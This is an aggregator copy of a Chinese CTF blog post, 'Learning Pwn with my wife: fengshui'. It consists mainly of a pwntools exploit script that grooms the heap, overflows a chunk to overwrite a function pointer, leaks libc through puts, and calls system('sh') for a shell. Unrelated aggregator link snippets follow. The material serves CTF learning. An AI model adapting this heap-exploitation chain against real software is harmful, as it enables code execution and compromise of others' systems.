

和媳妇一起学Pwn 之 fengshui
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2020/04/29/fengshui/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

和媳妇一起学Pwn 之 fengshui
发表于 2020-04-29
| 分类于 CTF/Pwn
题目文件:fengshui
from pwn import *
context(arch="amd64",os ='linux',log_level='debug')
myelf = ELF("./fengshui")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
io = process(myelf.path)
uu64 = lambda data : u64(data.ljust(8, b'\0'))
sla = lambda delim,data : (io.sendlineafter(delim, data))
add = lambda s1,n1,s2,n2,tutor : (sla("option:\n","1"),sla("\n",str(s1)),sla("\n",n1),sla("\n",str(s2)),sla("\n",n2),sla("\n",tutor))
delete = lambda id : (sla("option:\n","2"),sla("\n",str(id)))
edit = lambda id,idx,size,name : (sla("option:\n","3"),sla("\n",str(id)),sla("option:\n",str(idx)),sla("\n",str(size)),sla("\n",name))
show = lambda id : (sla("option:\n","4"),sla("\n",str(id)))
# heap fengshui to clear up all bins
for i in range(10):
add(0x10,'x',0x10,'x','yes')
add(0x20,'x',0x20,'x','yes')
add(0x30,'x',0x30,'x','yes')
add(0x40,'x',0x40,'x','yes')
add(0x50,'x',0x50,'x','yes')
add(0x60,'x',0x60,'x','yes')
add(0x70,'x',0x70,'x','yes')
# prepare two chunks to be overflowed
add(0x10,'1111',0x10,'2222','yes')
add(0x10,'3333',0x10,'4444','yes')
# heap overflow to cover the function pointer
def call(func,param):
edit(70,2,1000,'a'*72+p64(param)+p64(func))
show(71)
# use puts leak libc
call(myelf.plt['puts'],myelf.got['puts'])
libc_addr = uu64(io.recvline()[:-1])-libc.symbols['puts']
system = libc_addr + libc.symbols['system']
sh = libc_addr + libc.search("sh\x00").next()
# call system("sh")
call(system,sh)
io.interactive()
Recommend
-
83
请稍候... 请登录 (如果不想等待, 请点击这里)
-
101
问与答 - @yjxjn - - 我俩年龄都 27,家境差不多,她比我大 8 个月,都是同一小区业主,各自婚前买房。双方父母都有正式工作,退休金。- 女票银行柜员,本科对外经贸毕业,埃克斯特的金融硕士,银行缴纳六险一金较高。
-
124
程序员 - @jzj - 抓千库网回来,卖 PPT 模板~http://www.zheng888.cn
-
27
漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。 利用方式:题目的libc版本为2.27,支持tcache。所以可以利用悬空指针对放入tcache中的堆块再次free,即tcache dup实现任意地址写。在通过任意地址写...
-
14
漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。 利用方式:本题libc版本为2.23,故可以使用构造FastbinAttack的DoubleFree完成有约束的地址写任意值。题目开启了全部保护,所以首先通过堆排布的手...
-
5
和媳妇一起学Pwn 之 BookWriter 发表于...
-
7
和媳妇一起学Pwn 之 babyfengshui 发表于...
-
6
和媳妇一起学Pwn 之 seethefile 发表于...
-
7
和媳妇一起学Pwn 之 hacknote 发表于...
-
15
和徐老一起学Pwn 之 Pwnable.tw CVE-2018-1160 发表于...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK